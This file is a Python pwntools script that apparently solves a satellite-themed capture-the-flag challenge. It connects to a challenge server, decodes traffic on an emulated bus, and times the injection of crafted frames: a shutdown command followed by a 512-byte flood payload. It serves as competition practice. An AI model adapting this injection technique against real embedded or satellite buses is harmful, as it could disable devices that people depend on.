#!/usr/bin/env python3
import time
import sys

from pwnlib import tubes

TICKET = 'THE_TICKET'
r = tubes.remote.remote('bus.satellitesabove.me', 5041)
r.send(TICKET+'\n')
time.sleep(0.5)
r.recvuntil('Ticket please:\n', drop=True)

def to_hex(b):
    return ':'.join(hex(x)[2:] for x in b)

def decode_pkt(b):
    if len(b) == 0:
        return
    if b[0] == 0xCA:
        pass # raw data?
    elif b[0] == ord(':'):
        if b[3] == ord('>') or b[3] == ord('?'): # > or ?
            field1 = to_hex(b[7:13])  # 6 bytes
            field1end = chr(b[13])    #
            field2 = to_hex(b[15:22]) # 7 bytes
            if b[22] != ord('@'):
                print('b[22] should be @ but is {}'.format(chr(b[22])))
            field3 = to_hex(b[23:25])
            field3end = chr(b[25])
            c1 = b[26]
            field4 = to_hex(b[27:30])
            if b[30] != ord('?'):
                print('b[30] is not ?')
            print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
                  field3, field3end, field4))
    elif b[0] == ord(';'):
        print('delimiter') # end of previous packet?
    else:
        print(b[0])
        print('unknown data')
    print('\n')

start = True
inj = b"^3b+00+00+37+."
inj2 = b"^ca+" + (b"00+" * 512) + b"."

dont = False
inj2_b = False

print("Injection: " + inj.decode("utf-8"))

while True:
    r.recvuntil('^')
    raw = r.recvuntil('.')
    rawn = bytes([94]) + raw
    print(rawn)
    v = raw.decode().split('+')
    del v[-1]
    h = bytes([int(i, 16) for i in v])
    if h == b';\x00\x00?':
        print("ONCE CALL")
    elif h == b';\x00\x00>':
        print("END CALL")
    elif h.startswith(b':\x00\x00?'):
        print(f"ONCE: {h[4:].hex()}")
    elif h.startswith(b'\x3b\x00\x00\x37'):
        print("SHUT DOWN SUCCESSFUL")
        dont = True
        inj2_b = True
        print("INJECTING AGAIN")
        r.send(inj2)
    elif h.startswith(b':\x00\x00>'):
        # notable delay between start and end each time
        if start:
            print(f"START: {h[4:].hex()}")
            start = False
        elif inj2_b == False:
            print("INJECTING")
            r.send(inj)
            print(f"END: {h[4:].hex()}")
            start = True
        else:
            print("INJECTING AGAIN")
            r.send(inj2)
            print(f"END: {h[4:].hex()}")
            start = True
    elif h.startswith(b'\xca'):
        print(f"JUICE: {h}")
    else:
        dont = True
        print(f"???: {h.hex()}")

    if not dont:
        decode_pkt(h)
    dont = False
    sys.stdout.flush()
